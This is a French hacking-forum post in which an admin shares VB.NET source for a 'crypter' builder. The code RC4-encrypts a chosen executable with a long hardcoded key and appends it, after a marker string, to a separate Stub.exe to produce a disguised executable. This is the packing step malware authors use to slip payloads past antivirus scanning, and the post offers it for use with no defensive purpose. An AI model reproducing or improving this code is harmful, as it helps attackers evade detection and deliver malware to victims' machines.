informatique
Notre partenaire >> http://footlike.esy.es/ Streaming de foot



 
AccueilAccueil  GalerieGalerie  RechercherRechercher  MembresMembres  GroupesGroupes  S'enregistrerS'enregistrer  ConnexionConnexion  

Partagez | 
 

 Code source crypter

Aller en bas 
AuteurMessage
Mow910
Admin
Admin
avatar

Messages : 79
Date d'inscription : 17/10/2010

MessageSujet: Code source crypter   Dim 19 Jan - 23:00

Tenez un code source crypter :



Code:
Imports System.Text
Public Class Form1
    Const filesplit = "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"
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim x As New OpenFileDialog
        x.Filter = "Exécutables |*.exe"
        x.InitialDirectory = "/VotreDossier"
        x.Multiselect = False
        If x.ShowDialog = Windows.Forms.DialogResult.OK Then
            TextBox1.Text = x.FileName
        Else
            MsgBox("Vous n'avez pas ouvert de fichier !")
            Button2.Enabled = False
            TextBox1.Text = "aucun fichier !"
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
    Public Function RC4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength),
            1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim filein, filename, stub As String
        Dim sfd As New SaveFileDialog
        sfd.Filter = "Exécutables |*.exe "
        If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
            filename = sfd.FileName
        Else : Exit Sub
        End If
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read,
        OpenShare.Default)
        filein = Space(LOF(1))
        FileGet(1, filein)
        FileClose(1)
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary,
        OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite,
        OpenShare.Default)
        FilePut(1, stub & filesplit & RC4(filein, "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"))
        FileClose(1)
        MsgBox("Le fichier est crypté ! ")
    End Sub
End Class

_________________
vien visiter notre site et le remplire mettre des actuce ect

userbar
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://informatique.exprimetoi.net
 
Code source crypter
Revenir en haut 
Page 1 sur 1
 Sujets similaires
-
» Le code popup s'installe dans le code source comment faire svp
» Où trouver le code source..?
» {Javascript} Désactivé les touches de F1 à F12 et empêcher la vision du code source
» Récupérer un code HTML dans une page de code source HTML
» [résolu]Logiciel Audio avec Code Open source

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
informatique :: Coding :: Visual Basic :: Code Source-
Sauter vers: